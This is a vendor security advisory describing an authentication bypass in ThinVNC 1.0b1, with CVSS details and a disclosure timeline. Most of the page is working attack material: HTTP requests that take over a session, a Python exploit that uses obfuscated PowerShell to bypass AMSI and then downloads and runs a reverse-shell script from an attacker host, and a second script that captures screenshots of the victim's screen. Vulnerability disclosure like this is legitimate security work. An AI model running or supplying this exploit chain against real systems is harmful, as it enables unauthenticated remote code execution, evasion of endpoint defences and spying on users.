ThinVNC 1.0b1 - Authentication Bypass
10
Critical
Discovered by
Offensive Team, Fluid Attacks
Summary
Full name
ThinVNC 1.0b1 - Authentication Bypass
Code name
State
Public
Release date
Apr 13, 2022
Affected product
ThinVNC
Affected version(s)
Version 1.0b1
Vulnerability name
Authentication Bypass
Vulnerability type
Remotely exploitable
Yes
CVSS v3.1 vector string
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
CVSS v3.1 base score
10.0
Exploit available
Yes
CVE ID(s)
Description
ThinVNC version 1.0b1 allows an unauthenticated user to bypass the authentication process via http://thin-vnc:8080/cmd?cmd=connect
by obtaining a valid SID
without any kind of authentication. It is possible to achieve code execution on the server by sending keyboard or mouse events to the server.
Proof of Concept
Send the following request to the application in order to obtain a valid
SID
.GET /cmd?cmd=connect&destAddr=poc&id=0 HTTP/1.1 Host: 172.16.28.140:8081 Connection: close Accept-Encoding: gzip, deflate Accept: */*
Obtain the
SID
from the server response and add it to the following request in order to validate theSID
GET /cmd?cmd=start&mouseControl=true&kbdControl=true&quality=85&pixelFormat=0&monitor=0&id=[SID] HTTP/1.1 Host: 172.16.28.140:8081 Connection: close Accept-Encoding: gzip, deflate Accept: */* User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0 Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Referer: http://172.16.28.140:8081/ Cookie: SID=[SID]
Now it is possible to send keystrokes or mouse moves to the server using the validated
SID
Exploit
The following exploit can be used to obtain a reverse shell on the server running the ThinVNC application.
import requests import time import argparse proxies = {'http':'http://127.0.0.1:8080','https':'https://127.0.0.1:8080'} headers = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Connection": "close", } def login_sid(base_url): url = base_url + "/cmd?cmd=connect&destAddr=poc&id=0" cookies = {"SID": ""} r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies) #r = requests.get(url, headers=headers, cookies=cookies) return r.json()['id'] def start_sid(base_url, sid): url = base_url + "/cmd?cmd=start&mouseControl=true&kbdControl=true&quality=85&pixelFormat=0&monitor=0&id=%s" % sid cookies = {"SID": "%s" % sid} r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies) #r = requests.get(url, headers=headers, cookies=cookies) time.sleep(2) def send_ctrl_esc(base_url, sid): url = base_url + "/cmd?cmd=fkey&key=CtrlEsc&id=%s" % sid cookies = {"SID": "%s" % sid} requests.get(url, headers=headers, cookies=cookies, proxies=proxies) #requests.get(url, headers=headers, cookies=cookies) time.sleep(2) def send_text(base_url, sid, text): url = base_url + "/cmd?id=%s&cmd=cli&type=clipboard&action=paste" % sid cookies = {"SID": "%s" % sid} data = text requests.post(url, headers=headers, cookies=cookies, proxies=proxies, data=data) #requests.post(url, headers=headers, cookies=cookies, data=data) time.sleep(2) def send_enter(base_url, sid): url = base_url + "/cmd?cmd=keyb&key=13&char=0&action=down&id=%s" % sid cookies = {"SID": "%s" % sid} requests.get(url, headers=headers, cookies=cookies, proxies=proxies) #requests.get(url, headers=headers, cookies=cookies) time.sleep(2) parser = argparse.ArgumentParser(description='ThinVNC exploit') parser.add_argument('-s', '--server-ip', required=True, help='ThinVNC IP') parser.add_argument('-p', '--server-port', required=True, help='ThinVNC PORT') parser.add_argument('-r', '--reverse-ip', required=True, help='Reverse Shell IP') parser.add_argument('-a', '--reverse-port', required=True, help='Reverse Shell PORT') args = parser.parse_args() url = 'http://%s:%s' % (args.server_ip,args.server_port) print("[*] ThinVNC Auth Bypass to RCE exploit") print print("[+] Getting sid") sid = login_sid(url) print("[+] Initializing sid") start_sid(url, sid) print("[+] Sending Ctrl+Esc sid") send_ctrl_esc(url, sid) print("[+] Opening run") send_text(url, sid, "run") send_enter(url, sid) print("[+] Sending Reverse Shell") amsi_txt = """powershell.exe -exec bypass""" send_text(url, sid, amsi_txt) send_enter(url, sid) # AMSI Bypass amsi_txt = """S`eT-It`em ( 'V'+'aR' + 'IA' + ('blE:1'+'q2') + ('uZ'+'x') ) ( [TYpE]( "{1}{0}"-F'F','rE' ) ) ; ( Get-varI`A`BLE ( ('1Q'+'2U') +'zX' ) -VaL )."A`ss`Embly"."GET`TY`Pe"(( "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em') ) )."g`etf`iElD"( ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile') ),( "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,' ))."sE`T`VaLUE"( ${n`ULl},${t`RuE} )""" send_text(url, sid, amsi_txt) send_enter(url, sid) # Reverse Shell rev_shell_txt = "IEX((New-Object System.Net.WebClient).DownloadString('http://<attacker>:8002/rev.ps1'))" send_text(url, sid, rev_shell_txt) send_enter(url, sid)
The following code can be used to take screenshots of the VNC session.
import requests import time import argparse import os import urllib3 urllib3.disable_warnings() proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'} headers = { "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:98.0) Gecko/20100101 Firefox/98.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest", "Connection": "close", "Referer": "http://172.16.28.140:8081/" } def login_sid(base_url): url = base_url + "/cmd?cmd=connect&destAddr=poc&id=0" cookies = {"SID": ""} r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies, verify=False) #r = requests.get(url, headers=headers, cookies=cookies, verify=False) return r.json()['id'] def start_sid(base_url, sid): url = base_url + "/cmd?cmd=start&mouseControl=true&kbdControl=true&quality=85&pixelFormat=0&monitor=0&id=%s" % sid cookies = {"SID": "%s" % sid} r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies, verify=False) #r = requests.get(url, headers=headers, cookies=cookies, verify=False) time.sleep(1) def send_ctrl_esc(base_url, sid): url = base_url + "/cmd?cmd=fkey&key=CtrlEsc&id=%s" % sid cookies = {"SID": "%s" % sid} requests.get(url, headers=headers, cookies=cookies, proxies=proxies, verify=False) #requests.get(url, headers=headers, cookies=cookies, verify=False) time.sleep(1) def get_images(base_url, sid): os.system("rm images/*.jpg") x = 0 url = base_url + "/json?id=%s" % sid cookies = {"SID": "%s" % sid} r = requests.get(url, headers=headers, cookies=cookies, proxies=proxies, verify=False) #r = requests.get(url, headers=headers, cookies=cookies, verify=False) windows = r.json()['windows'] for w in windows: if "imgs" in w: for img in w["imgs"]: x += 1 str_image = img["img"].replace("data:image/jpeg;base64,","") name_txt = 'images/%s.txt' % str(x) name_png = 'images/%s.jpg' % str(x) f = open(name_txt,'w') f.write(str_image) f.close() try: os.system("cat %s | base64 -d > %s; rm %s" % (name_txt, name_png, name_txt)) except: print("[*] Error Decoding Images") parser = argparse.ArgumentParser(description='ThinVNC exploit') parser.add_argument('-s', '--server-ip', required=True, help='ThinVNC IP') parser.add_argument('-p', '--server-port', required=True, help='ThinVNC PORT') parser.add_argument('-k', '--ssl',required=True, help='ssl (true or false)') args = parser.parse_args() if (args.ssl.lower() == "true"): url = 'https://%s:%s' % (args.server_ip,args.server_port) else: url = 'http://%s:%s' % (args.server_ip,args.server_port) print("[*] ThinVNC Auth Bypass - VNC Session Images") print print("[+] Getting sid") sid = login_sid(url) print("[+] Initializing sid") start_sid(url, sid) get_images(url, sid)
Mitigation
By 2022-04-13 there is not a patch resolving the issue.
References
Timeline
Vulnerability discovered
Apr 5, 2022
Vendor contacted
Apr 5, 2022
Public disclosure
Apr 13, 2022

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Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Resources


SOC 2 Type II
SOC 3
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© 2025 Fluid Attacks. We hack your software.

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.
Targets
Resources


SOC 2 Type II
SOC 3
Subscribe to our newsletter
Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.
© 2025 Fluid Attacks. We hack your software.